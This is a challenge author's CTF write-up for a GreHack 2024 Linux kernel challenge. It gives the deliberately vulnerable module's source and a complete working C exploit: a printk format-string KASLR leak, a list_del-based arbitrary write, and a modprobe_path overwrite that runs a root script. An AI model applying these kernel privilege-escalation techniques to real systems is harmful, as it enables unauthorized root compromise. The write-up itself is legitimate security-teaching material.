Here is a writeup of a challenge I have written for Grehack 2024.
Challenge task
Yet another baby challenge…
Provided files
babycaller.tar.gz
:
bzImage
: Kernel imagerun.sh
: Bash script to run the VMentrypoint.sh
: Bash script run in the docker to give an instance to a VMconfig
: Kernel configbabycaller.c
: Kernel module source codeinitramfs.cpio.gz
: Initramfs
TL ; DR
- Leak KASLR using a format string
- Find a wrapper to
list_del
function - Overwrite
modprobe_path
usinglist_del
- Get our flag :)
📖 Overview
♻️ Source code analysis
The source code is short and straightforward:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/kprobes.h>
#include <linux/string.h>
#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
static int handle_babycaller(struct pt_regs *syscall_regs)
{
// Get parameter
char data[USER_DATA_LEN];
memset(data, 0, USER_DATA_LEN);
if (copy_from_user(data, (char *)syscall_regs->si, USER_DATA_LEN))
return -EINVAL;
// Finally call
if (syscall_regs->di)
{
unsigned long addr = syscall_regs->di;
((void (*)(void *))addr)(data);
}
else
_printk(data);
return 0;
}
static int handler_pre(struct kprobe *p, struct pt_regs *regs)
{
struct pt_regs *syscall_regs = (struct pt_regs *)regs->di;
if (syscall_regs->orig_ax == SYSCALL_NB)
return handle_babycaller(syscall_regs);
return 0;
}
struct kprobe kp = {
.symbol_name = "x64_sys_call",
.pre_handler = handler_pre
};
static int __init babycaller_init(void)
{
int ret = register_kprobe(&kp);
if (ret < 0)
{
_printk(KERN_ERR "Failed to register kprobe: %d\n", ret);
return ret;
}
_printk(KERN_INFO "kprobe registered\n");
return 0;
}
static void __exit babycaller_exit(void)
{
unregister_kprobe(&kp);
_printk(KERN_INFO "kprobe unregistered\n");
}
module_init(babycaller_init);
module_exit(babycaller_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ruulian");
MODULE_DESCRIPTION("XXX");
MODULE_VERSION("1.0");
It registers a kprobe in order to hook every syscall. If the syscall number is equal to SYSCALL_NB
it calls the custom handler handle_babycaller
. It is a way to add a new syscall to the system using a kernel module.
This handler allows us to provide a function pointer in rdi
and a pointer to user data in rsi
. Then, the function copy_from_user
copies 0x20
bytes into data
buffer and returns on error.
Finally, if rdi
is not null, the function stored in it is called with data
buffer as parameter, otherwise printk
is called with data
.
🙊 Talking to the module
We can use the syscall in order to display “Hello World” and check that everything works properly:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
int main(void)
{
char data[USER_DATA_LEN];
strcpy(data, "Hello World!\n"); // Add the \n because dmesg is line buffered
syscall(SYSCALL_NB, NULL, data);
return 0;
}
Which gives us the expected output:
💣 Exploit
🎲 Leak KASLR
First things first, we need a leak in order to call an arbitrary function, good news, we have printk
. Indeed, with a controlled parameter, we can use a format string to leak kernel registers and also the beginning of the kernel stack.
To do so, we can disable KASLR, use gdb to add a breakpoint on printk
call and check its parameter:
In the registers, there is no kernel text pointer, but if we look on the stack, there is a kernel text address that we can leak.
Unfortunately, printk
doesn’t support %<offset>$<specifier>
syntax. Thus, we have to move until the parameter we need using %c
(or another valid specifier with one character to stay in the USER_DATA_LEN
bounds).
Here is the exploit to get our leak:
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
static void get_leak(void)
{
char data[USER_DATA_LEN];
strcpy(data, "%c%c%c%c%c%c%c%c%c%c%c%c|0x%lx\n");
syscall(SYSCALL_NB, 0, data);
}
int main(void)
{
get_leak();
return 0;
}
We thus have our leak:
We can improve our get_leak
function to automatically parse our leak:
#include <string.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
#define BUFFSIZE 0x1000
static uint64_t u64(char *__str)
{
uint64_t res = 0;
sscanf(__str, "%lx", &res);
return res;
}
static uint64_t get_leak(void)
{
char data[USER_DATA_LEN];
strcpy(data, "%x%x%x%x%x%x%x%x%x%x%x%x|%lx\n");
syscall(SYSCALL_NB, 0, data);
FILE *fp = popen("dmesg | tail -1", "r");
if (!fp)
{
perror("popen");
return 1;
}
char buffer[BUFFSIZE];
memset(buffer, 0, BUFFSIZE);
fgets(buffer, BUFFSIZE, fp);
// Parse last 16 characters
size_t len = strlen(buffer);
buffer[len--] = '\0';
return u64((char *)buffer + len - 0x10);
}
🧠 Brainstorming
The first idea could be using the format string to overwrite some addresses like in user land exploit; however, the %n
is not implemented in printk
.
Moreover, we could escalate our privileges using commit_creds
with a crafted cred
struct, however, the allowed size is not sufficient to craft the structure.
Thus, we can use a technique to transform a call to an arbitrary write: list_del
.
✏️ Get arbitrary write
list_del
is defined in list.h:
struct list_head {
struct list_head *next, *prev;
};
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev; // Write primitive
WRITE_ONCE(prev->next, next);
}
static inline void __list_del_entry(struct list_head *entry)
{
if (!__list_del_entry_valid(entry))
return;
__list_del(entry->prev, entry->next);
}
static inline void list_del(struct list_head *entry)
{
__list_del_entry(entry);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}
This function is basically used to remove an element from a linked list, it links the prev
element to the next
element.
We can thus craft a fake list_head
with our target address as next
and what we want to write in prev
. However, we have 2 issues with this primitive:
- The function is written as
inline
andstatic
, therefore, we can’t directly call it. - The data we write in should be a valid address because of the
WRITE_ONCE(prev->next, next);
.
🏹 Find a wrapper to list_del
In order to call list_del
, we need to find a wrapper to this function, therefore, we can use elixir.bootlin.com, check for all references to list_del
and find an exported function which wraps (or almost) the function.
A good candidate can be unregister_asymmetric_key_parser
:
struct asymmetric_key_parser {
struct list_head link;
struct module *owner;
const char *name;
int (*parse)(struct key_preparsed_payload *prep);
};
void unregister_asymmetric_key_parser(struct asymmetric_key_parser *parser)
{
down_write(&asymmetric_key_parsers_sem);
list_del(&parser->link);
up_write(&asymmetric_key_parsers_sem);
pr_notice("Asymmetric key parser '%s' unregistered\n", parser->name);
}
down_write
and up_write
shouldn’t cause any issue.
✅ Get full write with valid address
To get a full write knowing the constraint of passing a valid address as prev
, we can write our data byte per byte using the last byte of a valid address.
We can take an address from kernel data where we can write without crashing the kernel. Hopefully, we have a variable init_thread_union
which is very big and full of null bytes, it may be a good candidate if we take init_thread_union+0x100
(the first bytes are not 0 so we can take an offset to be sure).
⬆️ Privilege escalation
Now that we have everything in mind, we can overwrite modprobe_path
in order to execute a file as root.
#include <string.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
#define BUFFSIZE 0x1000
static uint64_t u64(char *__str)
{
uint64_t res = 0;
sscanf(__str, "%lx", &res);
return res;
}
static uint64_t get_leak(void)
{
char data[USER_DATA_LEN];
strcpy(data, "%x%x%x%x%x%x%x%x%x%x%x%x|%lx\n");
syscall(SYSCALL_NB, 0, data);
FILE *fp = popen("dmesg | tail -1", "r");
if (!fp)
{
perror("popen");
return 1;
}
char buffer[BUFFSIZE];
memset(buffer, 0, BUFFSIZE);
fgets(buffer, BUFFSIZE, fp);
// Parse last 16 characters
size_t len = strlen(buffer);
buffer[len--] = '\0';
return u64((char *)buffer + len - 0x10);
}
static void modprobe_path_overwrite(uint64_t kbase)
{
// Prepare target
uint64_t modprobe_path_offset = 0x1b3f100;
uint64_t target = kbase + modprobe_path_offset;
// Prepare available address to use list_del
uint64_t data = kbase + 0x1a00200;
uint64_t available_addr = (data + 0x1000) & ~0xff;
uint64_t unregister_asymmetric_key_parser = kbase + 0x4c4d10;
char *new_content = "/tmp/a";
// Writing byte per byte
for (size_t i = 0; i < strlen(new_content) + 1; i++)
{
uint64_t data[4];
data[0] = (target + i) - 8; // *next
data[1] = available_addr + new_content[i]; // *prev
data[2] = 0x0;
data[3] = 0x0;
syscall(SYSCALL_NB, unregister_asymmetric_key_parser, data);
}
}
int main(void)
{
puts("[*] Start leaking kaslr");
uint64_t leak = get_leak();
printf("[+] kaslr leak = 0x%lx\n", leak);
uint64_t kbase = leak - 0x18ca4f;
printf("[+] kbase = 0x%lx\n", kbase);
puts("[*] Starting modprobe_path overwrite");
modprobe_path_overwrite(kbase);
puts("[+] Successfully overwrote modprobe_path");
return 0;
}
Now, if we try to execute a file that has invalid magic bytes, it will call /tmp/a
file. We can therefore create those files and do whatever we want :)
To do so, we can add a small function that sets the flag as readable for everyone and reads it:
void privesc(void)
{
system("echo '#!/bin/sh' > /tmp/a");
system("echo 'chmod 444 /flag.txt' >> /tmp/a");
system("chmod +x /tmp/a");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy 2> /dev/null");
system("cat /flag.txt");
}
We get our final exploit:
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#define USER_DATA_LEN 0x20
#define SYSCALL_NB 0x15e
#define BUFFSIZE 0x1000
static uint64_t u64(char *__str)
{
uint64_t res = 0;
sscanf(__str, "%lx", &res);
return res;
}
static uint64_t get_leak(void)
{
char data[USER_DATA_LEN];
strcpy(data, "%x%x%x%x%x%x%x%x%x%x%x%x|%lx\n");
syscall(SYSCALL_NB, 0, data);
FILE *fp = popen("dmesg | tail -1", "r");
if (!fp)
{
perror("popen");
return 1;
}
char buffer[BUFFSIZE];
memset(buffer, 0, BUFFSIZE);
fgets(buffer, BUFFSIZE, fp);
// Parse last 16 characters
size_t len = strlen(buffer);
buffer[len--] = '\0';
return u64((char *)buffer + len - 0x10);
}
static void modprobe_path_overwrite(uint64_t kbase)
{
// Prepare target
uint64_t modprobe_path_offset = 0x1b3f100;
uint64_t target = kbase + modprobe_path_offset;
// Prepare available address to use list_del
uint64_t data = kbase + 0x1a00200;
uint64_t available_addr = (data + 0x1000) & ~0xff;
uint64_t write_prim = kbase + 0x4c4d10;
char *new_content = "/tmp/a";
for (size_t i = 0; i < strlen(new_content) + 1; i++)
{
uint64_t data[4];
data[0] = (target + i) - 8; // *next
data[1] = available_addr + new_content[i]; // *prev
data[2] = 0x0;
data[3] = 0x0;
syscall(SYSCALL_NB, write_prim, data);
}
}
void privesc(void)
{
system("echo '#!/bin/sh' > /tmp/a");
system("echo 'chmod 444 /flag.txt' >> /tmp/a");
system("chmod +x /tmp/a");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy 2> /dev/null");
system("cat /flag.txt");
}
int main(void)
{
puts("[*] Start leaking kaslr");
uint64_t leak = get_leak();
printf("[+] kaslr leak = 0x%lx\n", leak);
uint64_t kbase = leak - 0x18ca4f;
printf("[+] kbase = 0x%lx\n", kbase);
puts("[*] Starting modprobe_path overwrite");
modprobe_path_overwrite(kbase);
puts("[+] Successfully overwrote modprobe_path");
puts("[+] Enjoy your flag :)");
privesc();
return 0;
}
Which gives us a beautiful flag:
🫂 Bonus
The challenge had only one solve, by @voydstack, using an unintended way. Since the flag is loaded in the initramfs
, it is loaded in RAM; thus, he reads the flag in the RAM using the format string.